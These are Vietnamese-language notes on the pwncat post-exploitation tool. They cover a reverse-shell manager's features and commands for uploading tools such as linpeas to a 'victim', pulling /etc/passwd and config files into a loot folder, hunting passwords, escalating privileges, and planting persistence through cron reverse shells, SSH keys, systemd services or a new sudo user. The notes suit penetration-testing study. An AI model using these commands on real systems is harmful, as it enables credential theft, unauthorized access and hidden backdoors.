



**Core Functions:**

1. **Start Listener** - Mở reverse shell listener
2. **Connect Shell** - Kết nối bind shell
3. **Execute Commands** - Gửi lệnh và nhận output
4. **File Transfer** - Upload/download files
5. **Privilege Escalation** - Tăng quyền
6. **Connection Management** - Đóng, reconnect, delete

**Advanced Features:**

1. **Real-time Terminal** - WebSocket terminal
2. **Command History** - Lưu và xem lịch sử lệnh
3. **Multi-session** - Quản lý nhiều shell cùng lúc
4. **Auto-reconnect** - Tự động kết nối lại
5. **Statistics** - Thống kê hoạt động

PWNCAT

Khi nhận được kết nối, pwncat tự động thực hiện:

* Xác định OS.
* Kiểm tra user hiện tại, quyền hạn.
* Thu thập thông tin: /etc/passwd, netstat, crontab, history,...

Tất cả thông tin này được lưu trữ trong một "session object".

**🧩 1. upload <local> <remote>**

**Chức năng:**  
Tải một file từ máy **attacker** (máy đang chạy pwncat) lên máy **victim**.

**Cú pháp:**

upload /path/to/file.txt /tmp/file.txt

**Ví dụ:**

upload tools/linpeas.sh /tmp/linpeas.sh

→ Tải file linpeas.sh từ thư mục tools/ trên máy bạn sang /tmp của máy victim.

**📥 2. download <remote> <local>**

**Chức năng:**  
Tải một file từ **victim** về máy **attacker**.

**Cú pháp:**

download /etc/passwd ./loot/passwd

**Ví dụ:**

download /var/www/html/config.php ./loot/config.php

→ File config.php từ máy victim được lưu vào thư mục ./loot trên máy bạn.

**🧠 3. run enumerate.\***

**Chức năng:**  
Tự động thu thập thông tin hệ thống, người dùng, lịch sử, mật khẩu, key, mạng...

**Cách dùng:**

run enumerate.all

**Các module phổ biến:**

| **Module** | **Chức năng** |
| --- | --- |
| enumerate.all | Chạy toàn bộ module thu thập |
| enumerate.passwords | Tìm các mật khẩu trong hệ thống |
| enumerate.users | Liệt kê user và thông tin |
| enumerate.history | Đọc .\_history, .zsh\_history |
| enumerate.network | Xem cổng, IP, route, interface |
| enumerate.suid | Liệt kê file có SUID (leo thang quyền) |

**🚀 4. run escalate.\***

**Chức năng:**  
Tự động thử leo thang đặc quyền (Privilege Escalation).

**Cách dùng:**

run escalate.all

**Các module thường gặp:**

| **Module** | **Chức năng** |
| --- | --- |
| escalate.sudo | Kiểm tra quyền sudo không cần mật khẩu |
| escalate.suid | SUID exploit |
| escalate.kernel | Kiểm tra local exploit theo version kernel |
| escalate.shell | Thử dùng các shell khác để vượt quyền |

**🔁 5. run persist.\***

**Chức năng:**  
Tạo **backdoor** hoặc **duy trì truy cập** (persistence).

**Các module:**

| **Module** | **Mô tả** |
| --- | --- |
| persist.cron | Tạo cronjob thực thi shell reverse |
| persist.ssh | Thêm public key vào authorized\_keys |
| persist.systemd | Tạo service chạy ngầm |
| persist.user | Tạo user mới với quyền sudo |

**Ví dụ:**

run persist.cron

**🧾 6. list**

**Chức năng:**  
Liệt kê toàn bộ các module có thể dùng.

**Cú pháp:**

list

**Output mẫu:**

enumerate.users

enumerate.passwords

escalate.sudo

persist.cron

...

**🖥 7. interact**

**Chức năng:**  
Chuyển sang chế độ shell thô (raw shell), giống như netcat bình thường.

**Cú pháp:**

interact

→ Bạn có thể gõ lệnh như ls, whoami, cat /etc/passwd trực tiếp trên máy victim.

Để quay lại giao diện pwncat, nhấn:

CTRL+D

**❌ 8. exit**

**Chức năng:**  
Thoát khỏi session hiện tại, ngắt kết nối shell.

**Cú pháp:**

exit